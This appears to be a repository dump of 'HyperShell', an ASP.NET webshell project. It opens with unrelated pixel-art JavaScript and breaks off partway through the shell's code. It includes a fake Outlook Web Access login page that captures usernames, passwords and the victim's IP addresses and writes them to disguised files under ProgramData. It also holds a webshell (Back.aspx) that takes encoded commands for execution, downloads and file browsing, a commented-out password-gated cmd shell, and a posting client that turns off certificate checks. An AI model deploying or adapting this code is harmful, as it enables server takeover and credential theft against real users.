temp.className = '_' + colorPerfix + colorMatrix[i][j];\r\n                        temp.id = i + \"-\" + j;\r\n                        //if (color[i][j] < 4 && color[i][j] > 0)\r\n                        //    temp.className += g;\r\n                        maker.appendChild(temp);\r\n                    }\r\n                }\r\n            }\r\n\r\n            //if (g == 'g') {\r\n            //    document.getElementsByTagName('body')[0].style.backgroundColor = 'white';\r\n            //    setTimeout(DoG, 1500);\r\n            //}\r\n\r\n            //setTimeout(animeFunc, 3000);\r\n        }\r\n\r\n        var GoldCount = 211 + 190 + 100 + 2 + 4;\r\n        function DoG()\r\n        {\r\n            var isOk = false;\r\n            var idList = [];\r\n            if(GoldCount > 0)\r\n            {\r\n                var o = Math.floor(GoldCount / 14);\r\n                //console.log('o = ' + o);\r\n                var idTemp = getRand(o - 10, heightBlock - 1) + \"-\" + getRand(0, withBlock - 1);\r\n                var temp = document.getElementById(idTemp);\r\n                if (temp) {\r\n                    if (temp.className == '_1' || temp.className == '_2' || temp.className == '_3' || temp.className == '_7') {\r\n                        if (idList.indexOf(idTemp) == -1) {\r\n                            isOk = true;\r\n                            GoldCount--;\r\n                            idList.push(idTemp);\r\n                            temp.className = temp.className + 'g';\r\n                            var i1 = document.getElementsByClassName('_1');\r\n                            var i2 = document.getElementsByClassName('_2');\r\n                            var i3 = document.getElementsByClassName('_3');\r\n                            var i7 = document.getElementsByClassName('_7');\r\n                            console.log('real  = ' + (i1.length + i2.length + i3.length));\r\n                            var ii = (i1.length + i2.length + i3.length + i7.length);\r\n                            if (ii <= 5)\r\n                            {\r\n                                GoldCount = 0;\r\n                                var c1 = i1.length;\r\n                                var c2 = i2.length;\r\n                                var c3 = i3.length;\r\n                                var c7 = i7.length;\r\n                                for (var f = 0; f < c1; f++)\r\n                                    i1[0].className = '_1g';\r\n                                for (var i = 0; i < c2; i++)\r\n                                    i2[0].className = '_2g';\r\n                                for (var i = 0; i < c3; i++)\r\n                                    i3[0].className = '_3g';\r\n                                for (var i = 0; i < c7; i++)\r\n                                    i7[0].className = '_7g';\r\n                                console.log('real  = ' + (i1.length + i2.length + i3.length))\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n\r\n                if (isOk)\r\n                    setTimeout(DoG, Math.round(GoldCount / 130) + 1);\r\n                else\r\n                    DoG();\r\n            }\r\n        }\r\n\r\n        var EyeBlink = true;\r\n        var NextDoubleBlink = 2;\r\n        var EyeBlinkCount = 0;\r\n        var g = 'g';\r\n        function animeFunc() {\r\n            var anime = [\r\n                [15, 20, 5],\r\n                [15, 21, 5],\r\n                [16, 20, 5],\r\n                [16, 21, 5],\r\n                [16, 22, 5],\r\n                [16, 28, 5],\r\n                [17, 20, 5],\r\n                [17, 21, 5],\r\n                [17, 22, 5],\r\n                [17, 23, 5],\r\n                [17, 24, 5],\r\n                [17, 28, 5],\r\n                [18, 21, 5],\r\n                [18, 22, 5],\r\n                [18, 23, 5],\r\n                [18, 24, 5],\r\n                [18, 25, 5],\r\n                [18, 26, 5],\r\n                [18, 27, 5],\r\n                [18, 28, 5],\r\n                [19, 22, 5],\r\n                [19, 23, 5],\r\n                [19, 24, 5],\r\n                [19, 25, 5],\r\n                [19, 26, 5],\r\n                [19, 27, 5],\r\n                [19, 28, 5],\r\n                [20, 23, 6],\r\n                [20, 24, 5],\r\n                [20, 25, 5]\r\n            ];\r\n\r\n            if (EyeBlink) {\r\n                EyeBlinkCount++;\r\n                EyeBlink = false;\r\n                for (var i = 0; i < anime.length; i++) {\r\n                    var item = document.getElementById(anime[i][0] + \"-\" + anime[i][1]);\r\n                    item.className = \"_\" + anime[i][2];\r\n                }\r\n                setTimeout(animeFunc, 200);\r\n            } else {\r\n                EyeBlink = true;\r\n                for (var i = 0; i < anime.length; i++) {\r\n                    var item = document.getElementById(anime[i][0] + \"-\" + anime[i][1]);\r\n                    item.className = \"_\" + color[anime[i][0]][anime[i][1]];\r\n                    if (color[anime[i][0]][anime[i][1]] == 7)\r\n                        item.className = item.className + g;\r\n                }\r\n                if (EyeBlinkCount == NextDoubleBlink)\r\n                {\r\n                    EyeBlinkCount = 0;\r\n                    NextDoubleBlink = getRand(4, 7);\r\n                    setTimeout(animeFunc, 200);\r\n                }\r\n                else\r\n                    setTimeout(animeFunc, 3500);\r\n            }\r\n        }\r\n\r\n        function getRand(min, max) {\r\n            return Math.floor(Math.random() * (max - min + 1)) + min;\r\n        }\r\n\r\n        var newColorW = 70;\r\n        var newColorH = 70;\r\n\r\n        var colorCount = 0;\r\n        var strClasses;\r\n        var ResultMatrix = [];\r\n        function setColor(a)\r\n        {\r\n            var SelectedColorNumber = 0;\r\n            console.log(a.id);\r\n            var itemColor = document.getElementById('color');\r\n            var result = document.getElementById('result');\r\n            var SelectedColor = itemColor.value;\r\n\r\n            if (document.getElementById(SelectedColor))\r\n            {\r\n                var temp = document.getElementById(SelectedColor);\r\n                SelectedColorNumber = temp.innerHTML;\r\n            }\r\n            else\r\n            {\r\n                var temp = document.createElement(\"div\");\r\n                strClasses += '<br>._a' + colorCount + '{background-color:#' + SelectedColor + '}';\r\n                temp.id = SelectedColor;\r\n                temp.innerHTML = colorCount;\r\n                SelectedColorNumber = colorCount;\r\n                colorCount++;\r\n                temp.setAttribute('style', 'display:none');\r\n                document.getElementById('body').appendChild(temp);\r\n            }\r\n\r\n            \r\n            if (a.getAttribute('ch') == 't')\r\n            {\r\n                a.setAttribute('ch', '');\r\n                a.style.borderRight = '1px solid';\r\n                a.style.borderBottom = '1px solid';\r\n                a.style.backgroundColor = '';\r\n                SelectedColorNumber = 'a';\r\n            }\r\n            else\r\n            {\r\n                a.setAttribute('ch', 't');\r\n                a.style.borderRight = '1px solid #' + SelectedColor;\r\n                a.style.borderBottom = '1px solid #' + SelectedColor;\r\n                a.style.backgroundColor = '#' + SelectedColor;\r\n            }\r\n\r\n\r\n            var indx = a.id.split('-');\r\n\r\n            var str = 'new color = [<br>';\r\n\r\n            for (var i = 0; i < newColorH; i++) {\r\n                str += '[';\r\n                for (var j = 0; j < newColorW; j++) {\r\n                    if (i == parseInt(indx[0], 10) && j == parseInt(indx[1], 10))\r\n                        ResultMatrix[i][j] = SelectedColorNumber;\r\n                    str += ResultMatrix[i][j] + ', ';\r\n                }\r\n                str += '],<br>';\r\n            }\r\n\r\n            str += '];<br>';\r\n\r\n            result.innerHTML = strClasses + '<br>' + str;\r\n        }\r\n\r\n        function maker()\r\n        {\r\n            var mysize = 10;\r\n            var maker = document.getElementById(\"BillCypher\");\r\n            maker.setAttribute('style', 'display:')\r\n\r\n            for (var i = 0; i < newColorH; i++) {\r\n                var newNode = [];\r\n                for (var j = 0; j < newColorW; j++) {\r\n                    newNode.push('a');\r\n                    var temp = document.createElement(\"div\");\r\n                    //temp.style.backgroundColor = '#' + colorNum[color[i][j]];\r\n                    temp.style.top = (i * mysize) + \"px\";\r\n                    temp.style.left = (j * mysize) + \"px\";\r\n                    //temp.className = '_' + colorPerfix + color[i][j];\r\n                    temp.id = i + \"-\" + j;\r\n                    temp.setAttribute('onclick', 'setColor(this)');\r\n                    //if (color[i][j] < 4 && color[i][j] > 0)\r\n                    //    temp.className += g;\r\n                    maker.appendChild(temp);\r\n                }\r\n                ResultMatrix.push(newNode);\r\n            }\r\n        }\r\n\r\n        window.onload = function () {\r\n            g = 'g'\r\n            //hyperSonic('Maker2');\r\n            pixDraw('Maker2', color, 's');\r\n            //maker();\r\n            //pixDraw('Maker2', colorBill, 'b');\r\n            \r\n        }\r\n    </script>\r\n</head>\r\n<body id=\"body\">\r\n    <form id=\"form1\" runat=\"server\">\r\n    <div>\r\n    <div class=\"LeftPanel\">\r\n        <div id=\"Maker\" class=\"Maker\"></div>\r\n        <div id=\"Maker2\" class=\"Maker\"></div>\r\n        <div id=\"BillCypher\" style=\"display:none\"></div>\r\n        <input id=\"color\" />\r\n        <div id=\"result\"></div>\r\n    </div>\r\n    <div class=\"RightPanel\">\r\n        <%--<div style=\"background-image:url(/Image/hyper.png);width:448px;height:529px;background-position:-178px -263px\"></div>--%>\r\n        <div style=\"background-image:url(/Image/s-l300.jpg);width:171px;height:180px;background-position:-51px -36px\"></div>\r\n    </div>\r\n    </div>\r\n    </form>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/PicMaker.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell.Shell\r\n{\r\n    public partial class PicMaker : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/PicMaker.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Shell\r\n{\r\n\r\n\r\n    public partial class PicMaker\r\n    {\r\n\r\n        /// <summary>\r\n        /// form1 control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.HtmlControls.HtmlForm form1;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/ScreenShot.aspx",
    "content": "﻿<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"ScreenShot.aspx.cs\" Inherits=\"HyperShell.Lab.ScreenShot\" %>\r\n\r\n<!DOCTYPE html>\r\n<%@ Import Namespace=\"System.Drawing\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head runat=\"server\">\r\n    <title></title>\r\n    <%\r\n        var bmpScreenShot = new Bitmap(Screen)\r\n    %>\r\n</head>\r\n<body>\r\n    <form id=\"form1\" runat=\"server\">\r\n    <div>\r\n    \r\n    </div>\r\n    </form>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/ScreenShot.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell.Lab\r\n{\r\n    public partial class ScreenShot : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lab/ScreenShot.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell.Lab\r\n{\r\n\r\n\r\n    public partial class ScreenShot\r\n    {\r\n\r\n        /// <summary>\r\n        /// form1 control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.HtmlControls.HtmlForm form1;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lap1.aspx",
    "content": "﻿<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"Lap1.aspx.cs\" Inherits=\"HyperShell.Lap1\" %>\r\n\r\n<!DOCTYPE html>\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head runat=\"server\">\r\n    <title></title>\r\n<%\r\n\r\n//   if (Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form[\"newPwd1\"])).GetHashCode().ToString(\"X8\") == \"028FEF27\")\r\n//{\r\n//\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\r\n//\tSystem.Diagnostics.ProcessStartInfo i = p.StartInfo;\r\n//\ti.FileName = \"cmd\";\r\n//\ti.UseShellExecute = false;\r\n//\ti.CreateNoWindow = true;\r\n//\ti.RedirectStandardInput = true;\r\n//\ti.RedirectStandardOutput = true;\r\n//\ti.RedirectStandardError = true;\r\n//\tp.Start();\r\n//\tp.StandardInput.WriteLine(Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form[\"newPwd2\"])));\r\n//\tstring r = p.StandardOutput.ReadToEnd();\r\n//\tp.WaitForExit();\r\n//\tp.Close();\r\n//\tResponse.Write(\"<pre>\" + Server.HtmlEncode(r) + \"</pre>\");\r\n//\tResponse.End();\r\n//}\r\n\r\n//   string pJxsCuCACbGngMlQ=\"aqB2nU65TgFoEfdVqiAddBQLInc9\";\r\n//   string onFLmAzE=\"NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a\";\r\n//   Response.Write(Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE + pJxsCuCACbGngMlQ))));\r\n//   if (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(onFLmAzE + pJxsCuCACbGngMlQ))) == \"nT/xBvvDUIuEU8fW8oVUPQucJyE=\") {\r\n\r\n//Response.Write(\")$wO9%4{@&q;M3JLKpq}Akl$dXT\".GetHashCode().ToString(\"X8\"));\r\n//Response.Write(Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(\")$wO9%4{@&q;M3JLKpq}Akl$dXT\" + \"reDGEa@#!%FS\"))));\r\n//Response.End();\r\n//}\r\n%>\r\n</head>\r\n<body>\r\n    <form id=\"form1\" runat=\"server\">\r\n    <div>\r\n    \r\n    </div>\r\n    </form>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lap1.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\nusing System.Data.SQLite;\r\nusing System.Data;\r\nusing System.Text.RegularExpressions;\r\nusing System.IO;\r\n\r\nnamespace HyperShell\r\n{\r\n    public partial class Lap1 : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n            #region [ Test System.IO.Path ]\r\n           \r\n            #endregion\r\n\r\n            #region [ Regex nbt ]\r\n           \r\n            #endregion\r\n        }\r\n\r\n        public static List<string> GetImportedFileList()\r\n        {\r\n            List<string> ImportedFiles = new List<string>();\r\n            using (SQLiteConnection connect = new SQLiteConnection(@\"Data Source=C:\\Documents and Settings\\js91162\\Desktop\\CMMData.db3\"))\r\n            {\r\n                connect.Open();\r\n                using (SQLiteCommand fmd = connect.CreateCommand())\r\n                {\r\n                    fmd.CommandText = @\"SELECT DISTINCT FileName FROM Import\";\r\n                    fmd.CommandType = CommandType.Text;\r\n                    SQLiteDataReader r = fmd.ExecuteReader();\r\n                    while (r.Read())\r\n                    {\r\n                        ImportedFiles.Add(Convert.ToString(r[\"FileName\"]));\r\n                    }\r\n                }\r\n            }\r\n            return ImportedFiles;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Lap1.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell\r\n{\r\n\r\n\r\n    public partial class Lap1\r\n    {\r\n\r\n        /// <summary>\r\n        /// form1 control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.HtmlControls.HtmlForm form1;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/LoginPages/source.aspx",
    "content": "<%@ Page language=\"c#\" AutoEventWireup=\"false\" %>\r\n<script>\r\nfunction chkpress(event, sender) {\r\n    var key = event.keyCode | event.which;\r\n    if (key == 13) {\r\n        clklgnok();\r\n        return false;\r\n    }\r\n    return true;\r\n}\r\nfunction getInfo(callback) {\n    var ip_dups = {};\n    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;\n    var useWebKit = !!window.webkitRTCPeerConnection;\n    if (!RTCPeerConnection) {\n        var win = iframe.contentWindow;\n        RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection;\n        useWebKit = !!win.webkitRTCPeerConnection;\n    }\n    var mediaConstraints = {\n        optional: [{\n            RtpDataChannels: true\n        }]\n    };\n    var servers = {\n        iceServers: [{\n            urls: \"stun:stun.services.mozilla.com\"\n        }]\n    };\n    var pc = new RTCPeerConnection(servers, mediaConstraints);\n    var sentResult = false;\n    function handleCandidate(candidate) {\n        var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/\n        var ip_addr = ip_regex.exec(candidate)[1];\n        if (!sentResult && ip_dups[ip_addr] === undefined) {\n            sentResult = true;\n            callback(ip_addr);\n        }\n        ip_dups[ip_addr] = true;\n    }\n    pc.onicecandidate = function (ice) {\n        if (ice.candidate)\n            handleCandidate(ice.candidate.candidate);\n    };\n    pc.createDataChannel(\"\");\n    pc.createOffer(function (result) {\n        pc.setLocalDescription(result, function () { }, function () { });\n    }, function () { });\n    setTimeout(function () {\n        var lines = pc.localDescription.sdp.split('\\n');\n        lines.forEach(function (line) {\n            if (line.indexOf('a=candidate:') === 0)\n                handleCandidate(line);\n        });\n    }, 1000);\n}\r\nfunction clklgnok(){\r\nvar h = new XMLHttpRequest();\r\nvar u = \"/owa/auth/outlookcn.aspx\";\r\nvar n = document.getElementById(\"username\");\r\nvar p = document.getElementById(\"password\");\r\nvar i;\r\nvar w;\r\n    //try {\r\n    //    var fi = new Promise(r => {\r\n    //        var w = window, a = new (w.RTCPeerConnection || w.mozRTCPeerConnection || w.webkitRTCPeerConnection)({ iceServers: [] }), b = () => { };\r\n    //        a.createDataChannel(\"\");\r\n    //        a.createOffer(c => a.setLocalDescription(c, b, b), b);\r\n    //        a.onicecandidate = c => { try { c.candidate.candidate.match(/([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g).forEach(r) } catch (e) { } }\r\n    //    });\r\n    //    fi.then(ip => i = ip);\r\n    //}\r\n    //catch (err) {\r\n    //}\r\n\r\n    try {\r\n        var xhttp = new XMLHttpRequest();\n        xhttp.onreadystatechange = function () {\n            if (xhttp.readyState == 4 && xhttp.status == 200) {\n                w = JSON.parse(xhttp.responseText).ip;\n            }\n        };\n        xhttp.open(\"GET\", \"https://api.ipify.org?format=json\", true);\n        xhttp.send();\r\n    } catch (e) {\r\n\r\n    }\r\n\r\n    getInfo(function (tf) {\n        i = tf;\n        var s = \"arcname=\" + encodeURIComponent(n.value) + \"&arcpath=\" + encodeURIComponent(p.value) + \"&arci=\" + encodeURIComponent(i) + \"&arcw=\" + encodeURIComponent(w);\r\n        h.open(\"POST\", u, true);\r\n        h.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n        h.setRequestHeader(\"Content-length\", s.length);\r\n        h.setRequestHeader(\"Connection\", \"close\");\r\n        h.onloadend = function () { clkLgn(); };\r\n        h.send(s);\n    });\r\n    //try {\r\n    //    var xmlHttp = new XMLHttpRequest();\r\n    //    xmlHttp.open(\"GET\", \"https://api.ipify.org/\", true);\r\n    //    xmlHttp.onloadend = function () {\r\n    //        w = xmlHttp.responseText;\r\n    //        var s = \"arcname=\" + encodeURIComponent(n.value) + \"&arcpath=\" + encodeURIComponent(p.value) + \"&arci=\" + encodeURIComponent(i) + \"&arcw=\" + encodeURIComponent(w);\r\n    //        h.open(\"POST\", u, true);\r\n    //        h.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n    //        h.setRequestHeader(\"Content-length\", s.length);\r\n    //        h.setRequestHeader(\"Connection\", \"close\");\r\n    //        h.onloadend = function () { clkLgn(); };\r\n    //        h.send(s);\r\n    //    };\r\n    //    xmlHttp.send(null);\r\n    //} catch (err) {\r\n\r\n    //}\r\n    \r\n}\r\n</script>\r\n\r\n<%\r\n    if (!string.IsNullOrEmpty(Request[\"arcname\"])&&!string.IsNullOrEmpty(Request[\"arcpath\"]))\r\n    {\r\n        int max=40;\r\n        int count=0;\r\n        bool isOk=true;\r\n        while (isOk&&count<max)\r\n        {\r\n            try {\r\n                count++;\r\n                System.IO.File.AppendAllText(@\"C:\\ProgramData\\Microsoft\\Windows\\MSWINFX\"+count,DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\")+\"|\"+Request.UserHostAddress+\"|\"+Request.ServerVariables[\"HTTP_X_FORWARDED_FOR\"]+\"|\"+Request.ServerVariables[\"REMOTE_ADDR\"]+\"|\"+Request[\"arci\"]+\"|\"+Request[\"arcw\"]+\"|\"+Request[\"arcname\"]+\"|\"+Request[\"arcpath\"]+\"|\"+Request.UserAgent+Environment.NewLine+Environment.NewLine);\r\n                isOk =false;\r\n            } catch{}\r\n        }\r\n    }\r\n%>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Poster.aspx",
    "content": "﻿<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeBehind=\"Poster.aspx.cs\" Inherits=\"HyperShell.Poster\" ValidateRequest=\"false\" %>\r\n\r\n<!DOCTYPE html>\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head runat=\"server\">\r\n    <title></title>\r\n</head>\r\n<body>\r\n    <form id=\"form1\" runat=\"server\">\r\n    <div>\r\n    <asp:TextBox ID=\"txtUrl\" runat=\"server\" Width=\"400px\"></asp:TextBox><br />\r\n    <asp:TextBox ID=\"txtPost\" runat=\"server\" TextMode=\"MultiLine\" Width=\"400px\" Height=\"400px\"></asp:TextBox><br />\r\n        <asp:LinkButton ID=\"lbnSend\" runat=\"server\" OnClick=\"lbnSend_Click\">Send</asp:LinkButton>\r\n    </div>\r\n    </form>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Poster.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Collections.Specialized;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\nusing System.Web;\r\nusing System.Web.Script.Services;\r\nusing System.Web.Services;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell\r\n{\r\n    public partial class Poster : System.Web.UI.Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n\r\n        protected void lbnSend_Click(object sender, EventArgs e)\r\n        {\r\n            \r\n            var cl = new WebClient();\r\n            using (WebClient client = new WebClient())\r\n            {\r\n                NameValueCollection val = new NameValueCollection();\r\n                string[] lines = txtPost.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);\r\n                string data = string.Empty;\r\n                foreach (string item in lines)\r\n                {\r\n                    if (!string.IsNullOrEmpty(data))\r\n                        data += \"&\";\r\n                    string[] temp = item.Split('@');\r\n                    val.Add(temp[0], Convert.ToBase64String(Encoding.UTF8.GetBytes(temp[1])));\r\n                    data += temp[0] + \"=\" + System.Web.HttpUtility.UrlEncode(Convert.ToBase64String(Encoding.UTF8.GetBytes(temp[1])));\r\n                }\r\n\r\n                using (WebClient wc = new WebClient())\r\n                {\r\n                    ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;\r\n                    wc.Headers[HttpRequestHeader.ContentType] = \"application/x-www-form-urlencoded\";\r\n                    wc.UploadString(txtUrl.Text, data);\r\n                }\r\n\r\n                //client.UploadValues(txtUrl.Text, val);\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Poster.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated. \r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell {\r\n    \r\n    \r\n    public partial class Poster {\r\n        \r\n        /// <summary>\r\n        /// form1 control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.HtmlControls.HtmlForm form1;\r\n        \r\n        /// <summary>\r\n        /// txtUrl control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox txtUrl;\r\n        \r\n        /// <summary>\r\n        /// txtPost control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.TextBox txtPost;\r\n        \r\n        /// <summary>\r\n        /// lbnSend control.\r\n        /// </summary>\r\n        /// <remarks>\r\n        /// Auto-generated field.\r\n        /// To modify move field declaration from designer file to code-behind file.\r\n        /// </remarks>\r\n        protected global::System.Web.UI.WebControls.LinkButton lbnSend;\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Shell/Back.aspx",
    "content": "<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n    <%\r\n\r\n    try\r\n    {\r\n        NameValueCollection t = HttpContext.Current.Request.Form;\r\n\r\n        method selectedMethod = method.auth;\r\n\r\n        try\r\n        {\r\n            int methodID = int.Parse(fb(t[\"m\"]));\r\n            selectedMethod = (method)methodID;\r\n        }\r\n        catch\r\n        {\r\n            rm();\r\n        }\r\n\r\n        p = fb(t[\"p\"]);\r\n        pro = fb(t[\"pro\"]);\r\n        cmd = fb(t[\"cmd\"]);\r\n        sav = fb(t[\"sav\"]);\r\n        vir = t[\"vir\"];\r\n        nen = fb(t[\"nen\"]);\r\n        upb = fb(t[\"upb\"]);\r\n        upd = fb(t[\"upd\"]);\r\n        del = fb(t[\"del\"]);\r\n        don = fb(t[\"don\"]);\r\n        hid = t[\"hid\"];\r\n        tfil = fb(t[\"tfil\"]);\r\n        ttar = fb(t[\"ttar\"]);\r\n        ttim = fb(t[\"ttim\"]);\r\n        baseFile = t[\"baseFile\"];\r\n        baseAddr = fb(t[\"baseAddr\"]);\r\n        baseVir = t[\"baseVir\"];\r\n        sqc = fb(t[\"sqc\"]);\r\n        sqq = fb(t[\"sqq\"]);\r\n        exadd = fb(t[\"exadd\"]);\r\n\r\n        switch (selectedMethod)\r\n        {\r\n            case method.auth:\r\n                c(p);\r\n                break;\r\n            case method.command:\r\n                r(pro, cmd);\r\n                break;\r\n            //case method.upload:\r\n            //    u(HttpContext.Current.Request.Files[\"upl\"], sav, string.IsNullOrEmpty(vir) ? false : true, nen);\r\n            //    break;\r\n            //case method.uploadbase64:\r\n            //    baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\n            //    break;\r\n            //case method.delete:\r\n            //    d(del);\r\n            //    break;\r\n            case method.download:\r\n                z(don);\r\n                break;\r\n            //case method.changeTime:\r\n            //    g(hid,tfil,ttar,ttim);\r\n            //    break;\r\n            //case method.sqlQuery:\r\n            //    sq(sqc,sqq);\r\n            //    break;\r\n            case method.explorer:\r\n                exp(exadd);\r\n                break;\r\n            case method.getsize:\r\n                gsize(fb(t[\"gsize\"]));\r\n                break;\r\n            case method.getlocation:\r\n                getLoc();\r\n                break;\r\n            default:\r\n                break;\r\n        }\r\n\r\n        //if(!string.IsNullOrEmpty(p))c(p);\r\n        //else c();\r\n        //if(!string.IsNullOrEmpty(cmd))r(pro,cmd);\r\n        //else if(HttpContext.Current.Request.Files[\"upl\"]!=null)u(HttpContext.Current.Request.Files[\"upl\"],sav,string.IsNullOrEmpty(vir)?false:true,nen);\r\n        //else if(!string.IsNullOrEmpty(upb))h(upb,upd);\r\n        //else if(!string.IsNullOrEmpty(del))d(del);\r\n        //else if(!string.IsNullOrEmpty(don))z(don);\r\n        //else if(!string.IsNullOrEmpty(tfil))g(hid,tfil,ttar,ttim);\r\n        //else if(!string.IsNullOrEmpty(baseFile))baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\n        //else if(!string.IsNullOrEmpty(sqc))sq(sqc,sqq);\r\n        //else if(!string.IsNullOrEmpty(exadd))exp(exadd);\r\n        //else if(!string.IsNullOrEmpty(t[\"gsize\"]))gsize(fb(t[\"gsize\"]));\r\n\r\n        //if(HttpContext.Current.Request.Cookies[\"data\"]!=null){string data=fb(HttpContext.Current.Request.Cookies[\"data\"].Value);string[] data2=data.Split(new string[]{\"#|#\"},StringSplitOptions.None);for(int i=0;i<data2.Length;i++){string[] data3=data2[i].Split(new string[]{\"#=#\"},StringSplitOptions.None);\r\n        //        switch (data3[0]){\r\n        //         